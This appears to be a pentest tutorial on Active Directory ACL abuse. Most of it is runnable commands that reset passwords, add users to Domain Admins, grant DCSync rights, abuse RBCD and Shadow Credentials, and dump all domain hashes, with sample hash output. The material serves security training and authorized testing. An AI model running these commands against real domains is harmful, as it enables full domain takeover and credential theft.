Skip to content

ACL Abuse Privilege Escalation

5 min read Created Apr 5, 2026 Last updated Aug 11, 2026

ACL-based privilege escalation abuses misconfigured permissions on Active Directory objects to gain control of privileged accounts or groups without exploiting any software vulnerability. Every technique here requires a confirmed writable object found during ACL Enumeration. Verify the right exists before running any modification.

  • GenericAll / GenericWrite: force password change, add to groups, set SPNs
  • WriteOwner: take ownership then grant yourself full control
  • WriteDACL: grant DCSync rights on the domain object
  • GenericWrite on computer: set up Resource-Based Constrained Delegation
  • Shadow Credentials: certificate-based takeover without changing the password

GenericAll and GenericWrite: full object control

GenericAll gives complete control over an object. GenericWrite allows writing any attribute. Both are abused the same way depending on the target object type.

┌──(kali㉿kali)-[~]
└─$ # Confirm the right exists first
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable --detail | grep -A3 $TARGET_USER
 
┌──(kali㉿kali)-[~]
└─$ # Set a known password on the target user
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPassword123!'
 
┌──(kali㉿kali)-[~]
└─$ # Verify by authenticating as target
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $TARGET_USER -p 'NewPassword123!'
[+] corp.local\targetuser:NewPassword123! (Pwn3d!)
┌──(kali㉿kali)-[~]
└─$ # Add controlled user to Domain Admins
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Domain Admins" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Verify membership
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "Domain Admins" --attr member
 
┌──(kali㉿kali)-[~]
└─$ # Add to other high-value groups
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Enterprise Admins" $USER
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Backup Operators" $USER
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "DNSAdmins" $USER

WriteOwner: take ownership then grant rights

WriteOwner lets you change the owner of an object. Once you own it, you can grant yourself GenericAll and proceed with any other technique.

┌──(kali㉿kali)-[~]
└─$ # Set yourself as owner of target object
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set owner $TARGET_USER $USER
 
┌──(kali㉿kali)-[~]
└─$ # Now grant yourself GenericAll on the object
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add genericAll $TARGET_USER $USER
 
┌──(kali㉿kali)-[~]
└─$ # Proceed with password change or group membership as above
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPassword123!'

WriteDACL: grant yourself DCSync rights

WriteDACL on the domain object lets you modify the domain ACL directly. Granting yourself DS-Replication rights enables DCSync: dumping all domain hashes without touching the DC.

┌──(kali㉿kali)-[~]
└─$ # Grant DCSync rights to controlled user
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync $USER
 
┌──(kali㉿kali)-[~]
└─$ # Verify rights were granted
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" --attr nTSecurityDescriptor
 
┌──(kali㉿kali)-[~]
└─$ # Perform DCSync: dump all domain hashes
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc
 
┌──(kali㉿kali)-[~]
└─$ # Clean up after use
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove dcsync $USER
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::

GenericWrite on computer: RBCD setup

GenericWrite on a computer object allows writing msDS-AllowedToActOnBehalfOfOtherIdentity. This sets up Resource-Based Constrained Delegation, letting you impersonate any user including Domain Admin to services on that computer.

┌──(kali㉿kali)-[~]
└─$ # Step 1: create a machine account you control (requires MAQ > 0)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add computer ATTACKPC$ 'AttackPassword123!'
 
┌──(kali㉿kali)-[~]
└─$ # Step 2: set RBCD on target computer, delegating to your machine account
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd $TARGET_COMPUTER$ ATTACKPC$
 
┌──(kali㉿kali)-[~]
└─$ # Step 3: request service ticket as Domain Admin via S4U2Self + S4U2Proxy
┌──(kali㉿kali)-[~]
└─$ impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/'ATTACKPC$':'AttackPassword123!'
 
┌──(kali㉿kali)-[~]
└─$ # Step 4: use the ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator@cifs_$TARGET_COMPUTER.$DOMAIN@$DOMAIN.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/Administrator@$TARGET_COMPUTER.$DOMAIN -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Cleanup
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove rbcd $TARGET_COMPUTER$ ATTACKPC$
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove computer ATTACKPC$

Shadow Credentials: certificate-based takeover

If you have GenericWrite on a user or computer, you can add a shadow credential: a certificate key pair linked to the target account. Authenticating with the certificate gives you a TGT as that user without knowing their password and without changing anything visible like the password itself.

┌──(kali㉿kali)-[~]
└─$ # Add shadow credential to target: generates a key pair
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add shadowCredentials $TARGET_USER
 
┌──(kali㉿kali)-[~]
└─$ # BloodyAD outputs the certificate path and thumbprint
┌──(kali㉿kali)-[~]
└─$ # Use the certificate to get a TGT (certipy: preferred on modern Kali)
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx /path/to/cert.pfx -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ # Or with gettgtpkinit.py from https://github.com/dirkjanm/PKINITtools
┌──(kali㉿kali)-[~]
└─$ # python3 gettgtpkinit.py -cert-pfx /path/to/cert.pfx $DOMAIN/$TARGET_USER $TARGET_USER.ccache
 
┌──(kali㉿kali)-[~]
└─$ # Or with pywhisker: more complete output
┌──(kali㉿kali)-[~]
└─$ pywhisker -d $DOMAIN -u $USER -p $PASSWORD --target $TARGET_USER --action add --dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Use the retrieved TGT
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$TARGET_USER.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -k -no-pass $DOMAIN/$TARGET_USER@$TARGET_IP

Shadow Credentials requires ADCS to be present in the environment: specifically, a DC must have a certificate with a Smart Card Logon EKU. If ADCS is not present, shadow credentials will not work. Use nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M adcs to confirm ADCS is deployed before attempting this technique.

References